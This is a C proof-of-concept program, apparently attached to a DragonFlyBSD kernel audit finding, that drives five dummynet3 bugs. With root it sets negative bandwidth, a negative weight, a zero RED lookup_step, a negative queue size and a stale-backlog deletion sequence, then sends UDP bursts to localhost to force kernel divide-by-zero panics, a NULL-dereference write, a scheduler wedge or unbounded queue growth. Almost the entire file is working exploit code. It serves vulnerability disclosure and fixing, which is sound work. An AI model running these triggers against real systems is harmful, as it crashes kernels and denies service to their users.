⬢ DragonFlyBSD Kernel Audit
DF-3355 / dfv3.c
← back to finding ↓ download raw
/*
 * dfv3.c -- DragonFlyBSD dummynet3 (sys/net/dummynet3/ip_dummynet3.c)
 *           pass-2 multi-trigger PoC driver.
 *
 * Subcommands (each maps to one finding):
 *   negbw [delay_ms]    DF-3354: pipe bandwidth<0 -> ready_event_wfq()
 *                             TAILQ_LAST NULL-deref write (trap 12) or
 *                             t==0 wfq_ready_heap self-loop netisr wedge.
 *   negweight           DF-3352: flowset weight<0 passes config validation,
 *                             pipe->sum driven to 0 -> divide-by-zero at
 *                             p->V += (len << MY_M) / p->sum (trap 16).
 *   redzero             DF-3355: RED lookup_step==0 unvalidated ->
 *                             divide-by-zero in red_drops() (trap 16).
 *   drift               DF-3353: pipe deletion purges child flowset queues
 *                             without resetting fs->backlogged -> stale
 *                             counter double-subtracted from p->sum on fs
 *                             delete -> sum==0 -> divide-by-zero (trap 16).
 *   qsize <q> <n>       DF-3356: negative qsize bypasses the signed/unsigned
 *                             queue-limit compare -> unbounded queue growth
 *                             (demonstrated via IP_DUMMYNET_GET dump; no panic).
 *
 * Config goes over a raw socket (root) with setsockopt(IPPROTO_IP,
 * IP_DUMMYNET_*), struct layouts verbatim from ip_dummynet3.h.
 * Trigger packets are UDP to 127.0.0.1 diverted by ipfw3 `queue` rules.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

typedef uint64_t dn_key;

/* ---- verbatim ABI structs from sys/net/dummynet3/ip_dummynet3.h ---- */
struct dn_ioc_flowid {
	uint16_t type;
	uint16_t pad;
	union {
		struct {
			uint32_t dst_ip;
			uint32_t src_ip;
			uint16_t dst_port;
			uint16_t src_port;
			uint8_t proto;
			uint8_t flags;
		} ip;
		uint8_t pad[64];
	} u;
};

struct dn_ioc_flowset {
	uint16_t fs_type;	/* DN_IS_{QUEUE,PIPE}, MUST be first */
	uint16_t fs_nr;
	uint16_t flags_fs;
	uint16_t parent_nr;
	int weight;
	int qsize;
	int plr;
	int rq_size;
	int rq_elements;
	int w_q;
	int max_th;
	int min_th;
	int max_p;
	int lookup_step;
	int lookup_weight;
	struct dn_ioc_flowid flow_mask;
	uint8_t reserved[16];
};

struct dn_ioc_pipe {
	struct dn_ioc_flowset fs;	/* MUST be first */
	int pipe_nr;
	int bandwidth;			/* bit/second */
	int delay;			/* milliseconds */
	dn_key V;
	uint8_t reserved[16];
};

struct dn_ioc_flowqueue {
	u_int len;
	u_int len_bytes;
	uint64_t tot_pkts;
	uint64_t tot_bytes;
	uint32_t drops;
	int hash_slot;
	dn_key S;
	dn_key F;
	struct dn_ioc_flowid id;
	uint8_t reserved[16];
};

#define IP_DUMMYNET_CONFIGURE	60
#define IP_DUMMYNET_DEL		61
#define IP_DUMMYNET_FLUSH	62
#define IP_DUMMYNET_GET		64

#define DN_HAVE_FLOW_MASK	0x0001
#define DN_IS_RED		0x0002
#define DN_IS_PIPE		0x4000
#define DN_IS_QUEUE		0x8000
#define ETHERTYPE_IP_		0x0800

static int rawsock(void)
{
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		perror("raw socket (are you root?)");
		exit(1);
	}
	return s;
}

static void xsetcfg(int s, const struct dn_ioc_pipe *p, const char *what)
{
	if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE, p, sizeof(*p)) < 0) {
		fprintf(stderr, "config %s: %s\n", what, strerror(errno));
		exit(1);
	}
	printf("[+] config %s ok\n", what);
	fflush(stdout);
}

static void xdel(int s, const struct dn_ioc_pipe *p, const char *what)
{
	if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_DEL, p, sizeof(*p)) < 0) {
		fprintf(stderr, "del %s: %s\n", what, strerror(errno));
		exit(1);
	}
	printf("[+] del %s ok\n", what);
	fflush(stdout);
}

static void xflush(int s)
{
	int dummy = 0;
	if (setsockopt(s, IPPROTO_IP, IP_DUMMYNET_FLUSH, &dummy, sizeof(dummy)) < 0)
		perror("flush (continuing)");
	else
		printf("[+] flush ok\n");
	fflush(stdout);
}

/* pipe: nr, bw bit/s, delay ms */
static void cfg_pipe(int s, int nr, int bw, int delay_ms)
{
	struct dn_ioc_pipe p;
	bzero(&p, sizeof(p));
	p.pipe_nr = nr;
	p.bandwidth = bw;
	p.delay = delay_ms;
	xsetcfg(s, &p, "pipe");
}

/* WF2Q flowset; mask_dp = mask on dst_port (per-flow queues) */
static void cfg_fs(int s, int fs_nr, int parent, int weight, int qsize,
    int mask_dp, int red, int w_q, int min_th, int max_th, int max_p,
    int lookup_step)
{
	struct dn_ioc_pipe q;
	bzero(&q, sizeof(q));
	q.fs.fs_nr = fs_nr;
	q.fs.parent_nr = parent;
	q.fs.weight = weight;
	q.fs.qsize = qsize;
	if (mask_dp) {
		q.fs.flags_fs |= DN_HAVE_FLOW_MASK;
		q.fs.flow_mask.type = ETHERTYPE_IP_;
		q.fs.flow_mask.u.ip.dst_port = ~0;
	}
	if (red) {
		q.fs.flags_fs |= DN_IS_RED;
		q.fs.w_q = w_q;
		q.fs.min_th = min_th;
		q.fs.max_th = max_th;
		q.fs.max_p = max_p;
		q.fs.lookup_step = lookup_step;
		q.fs.lookup_weight = 32768;
	}
	xsetcfg(s, &q, "flowset");
}

static void del_pipe(int s, int nr)
{
	struct dn_ioc_pipe p;
	bzero(&p, sizeof(p));
	p.pipe_nr = nr;
	xdel(s, &p, "pipe");
}

static void del_fs(int s, int fs_nr)
{
	struct dn_ioc_pipe p;
	bzero(&p, sizeof(p));
	p.fs.fs_nr = fs_nr;
	xdel(s, &p, "flowset");
}

static void udp_burst(int port, int len, int n, int ms_gap)
{
	struct sockaddr_in dst;
	char buf[2048];
	int s, i;

	if (len > (int)sizeof(buf))
		len = sizeof(buf);
	bzero(buf, sizeof(buf));
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("udp socket");
		exit(1);
	}
	bzero(&dst, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(port);
	dst.sin_addr.s_addr = htonl(0x7f000001U);
	for (i = 0; i < n; i++) {
		if (sendto(s, buf, len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
			perror("sendto");
		if (ms_gap)
			usleep(ms_gap * 1000);
	}
	close(s);
	printf("[+] sent %d x %dB udp pkt(s) -> 127.0.0.1:%d\n", n, len, port);
	fflush(stdout);
}

/* ---- IP_DUMMYNET_GET dump: walk pipes then flowsets ---- */
static void dn_get_dump(int s)
{
	static char buf[4 * 1024 * 1024];
	socklen_t len = sizeof(buf);
	char *p, *end;
	int shown = 0;

	if (getsockopt(s, IPPROTO_IP, IP_DUMMYNET_GET, buf, &len) < 0) {
		perror("get IP_DUMMYNET_GET");
		return;
	}
	printf("[+] GET returned %u bytes\n", (unsigned)len);
	p = buf;
	end = buf + len;
	while (p + (int)sizeof(struct dn_ioc_flowset) <= end) {
		struct dn_ioc_flowset *fs = (struct dn_ioc_flowset *)p;
		int is_pipe = (fs->fs_type == DN_IS_PIPE);
		int base = is_pipe ? sizeof(struct dn_ioc_pipe) :
		    sizeof(struct dn_ioc_flowset);
		int i, nq = fs->rq_elements;

		printf("    %s %d: parent=%d qsize=%d rq_elements=%d\n",
		    is_pipe ? "PIPE" : "FS  ", fs->fs_nr, fs->parent_nr,
		    fs->qsize, nq);
		p += base;
		for (i = 0; i < nq && p + (int)sizeof(struct dn_ioc_flowqueue) <= end; i++) {
			struct dn_ioc_flowqueue *q = (struct dn_ioc_flowqueue *)p;
			printf("      queue[%d] len=%u len_bytes=%u tot_pkts=%llu "
			    "drops=%u dst_port=%u\n", i, q->len, q->len_bytes,
			    (unsigned long long)q->tot_pkts, q->drops,
			    q->id.u.ip.dst_port);
			p += sizeof(struct dn_ioc_flowqueue);
			if (++shown > 64) {
				printf("      ...(more truncated)\n");
				return;
			}
		}
	}
}

/* ------------------------------- findings ------------------------------- */

/* DF-3354: negative bandwidth */
static void f_negbw(int s, int delay_ms)
{
	printf("=== DF-3354: pipe bandwidth<0, delay=%dms ===\n", delay_ms);
	cfg_pipe(s, 1, -1, delay_ms);			/* bw = -1 bit/s */
	cfg_fs(s, 100, 1, 1, 50, 0, 0, 0, 0, 0, 0, 0);
	udp_burst(1000, 1400, 1, 0);
	printf("[*] waiting for dummynet tick (panic/wedge expected)...\n");
	fflush(stdout);
	sleep(8);
	printf("[?] survived 8s\n");
}

/* DF-3352: negative weight -> sum == 0 -> divide by zero */
static void f_negweight(int s)
{
	printf("=== DF-3352: weight=-1 flowset -> pipe->sum==0 -> div0 ===\n");
	cfg_pipe(s, 1, 1000000, 0);			/* 1 Mbit/s */
	cfg_fs(s, 100, 1, 1, 50, 0, 0, 0, 0, 0, 0, 0);	/* weight +1 */
	cfg_fs(s, 101, 1, -1, 50, 0, 0, 0, 0, 0, 0, 0);	/* weight -1 */
	udp_burst(1000, 1400, 1, 0);			/* flow on fs100: sum=1 */
	usleep(2000);
	udp_burst(1001, 1400, 1, 0);			/* flow on fs101: sum=0 */
	printf("[*] waiting for wfq fire (~12ms) -> divide error...\n");
	fflush(stdout);
	sleep(8);
	printf("[?] survived 8s\n");
}

/* DF-3355: RED lookup_step == 0 -> divide by zero in red_drops */
static void f_redzero(int s)
{
	printf("=== DF-3355: RED lookup_step=0 -> div0 in red_drops ===\n");
	cfg_pipe(s, 1, 8000, 0);			/* slow: 8 kbit/s */
	cfg_fs(s, 200, 1, 1, 50, 1, 1, 65536, 1, 10, 10000, 0); /* RED, step=0 */
	udp_burst(2001, 28, 3, 1);	/* flow Y: 3 pkts, 3rd builds avg>0 */
	usleep(50000);
	udp_burst(2002, 28, 1, 0);	/* flow X: keeps scheduler non-empty */
	usleep(200000);
	printf("[*] flow Y idle with avg>0; sending 1 more pkt -> red_drops\n");
	fflush(stdout);
	udp_burst(2001, 28, 1, 0);	/* q_size==0 && avg!=0 -> /0 */
	sleep(8);
	printf("[?] survived 8s\n");
}

/* DF-3353: stale fs->backlogged after pipe delete -> sum drift -> div0 */
static void f_drift(int s)
{
	printf("=== DF-3353: backlogged drift -> pipe->sum==-1 then 0 -> div0 ===\n");
	cfg_pipe(s, 1, 8000, 0);
	cfg_fs(s, 300, 1, 1, 100, 1, 0, 0, 0, 0, 0, 0);	/* mask dst-port */
	cfg_fs(s, 400, 1, 1, 100, 0, 0, 0, 0, 0, 0, 0);

	/* flow A on fs300: 2 pkts -> 1 stays backlogged (slow pipe) */
	udp_burst(3001, 1400, 2, 5);		/* backlogged(fs300)=1, sum=1 */
	usleep(50000);
	del_pipe(s, 1);			/* purge queues; backlogged stays 1 */
	cfg_pipe(s, 1, 8000, 0);		/* recreate: sum=0 */

	/* flow B on fs300: backlogged 1->2 (1 stale + 1 live), sum=1 */
	udp_burst(3002, 1400, 2, 5);
	usleep(50000);
	del_fs(s, 300);		/* p->sum -= 1*2 -> sum = 1-2 = -1 */

	/* flow C on fs400: sum += 1 -> 0 -> div0 at next move (~1.4s) */
	udp_burst(4001, 28, 1, 0);
	printf("[*] waiting for wfq fire -> divide error...\n");
	fflush(stdout);
	sleep(8);
	printf("[?] survived 8s\n");
}

/* DF-3356: negative qsize -> limit check never fires */
static void f_qsize(int s, int qsize, int n)
{
	printf("=== DF-3356: qsize=%d, hammering %d pkts ===\n", qsize, n);
	cfg_pipe(s, 2, 8000, 0);
	cfg_fs(s, 500, 2, 1, qsize, 0, 0, 0, 0, 0, 0, 0);
	udp_burst(5000, 28, n, 0);
	sleep(1);
	dn_get_dump(s);
}

int
main(int argc, char **argv)
{
	const char *cmd = (argc > 1) ? argv[1] : "";
	int s = rawsock();

	if (!strcmp(cmd, "negbw"))
		f_negbw(s, (argc > 2) ? atoi(argv[2]) : 0);
	else if (!strcmp(cmd, "negweight"))
		f_negweight(s);
	else if (!strcmp(cmd, "redzero"))
		f_redzero(s);
	else if (!strcmp(cmd, "drift"))
		f_drift(s);
	else if (!strcmp(cmd, "qsize"))
		f_qsize(s, (argc > 2) ? atoi(argv[2]) : -1,
		    (argc > 3) ? atoi(argv[3]) : 400);
	else if (!strcmp(cmd, "flush"))
		xflush(s);
	else if (!strcmp(cmd, "get"))
		dn_get_dump(s);
	else {
		fprintf(stderr,
		    "usage: %s negbw [delay_ms]|negweight|redzero|drift|"
		    "qsize <q> <n>|flush|get\n", argv[0]);
		return 1;
	}
	return 0;
}